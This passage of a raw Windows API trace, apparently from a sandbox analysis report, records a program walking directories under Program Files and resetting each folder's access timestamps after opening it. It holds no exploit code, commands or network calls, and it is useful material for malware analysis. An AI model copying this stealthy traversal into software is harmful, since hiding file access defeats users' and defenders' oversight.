lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.740] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.740] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.740] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.742] CreateFileW (lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.742] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.742] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.744] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.745] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.745] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.747] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.747] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.747] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.750] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.750] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.750] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.752] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.752] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.752] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.754] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.754] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.754] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.758] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.758] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.758] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.760] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0145.760] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.760] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.762] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.762] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.762] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.765] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US" (normalized: "c:\\program files\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.765] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.765] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.768] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.769] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.769] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.772] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.772] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.772] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.774] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.774] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.774] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.776] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.776] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.777] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.779] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.779] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.779] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.781] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.781] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.782] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.786] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.786] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.786] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.788] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.788] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.788] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.791] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.791] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.791] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.793] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.794] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.794] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.796] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.796] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.796] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.811] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.812] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.812] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.814] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.814] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.815] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.817] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.817] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.817] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.819] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.819] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.819] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.821] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.821] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.821] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.826] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.826] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.826] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.828] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.829] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.829] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.830] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.831] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.831] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.832] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.833] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.833] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.835] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.836] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.836] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.840] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.840] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.840] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b15ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b15ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.954] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.954] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, 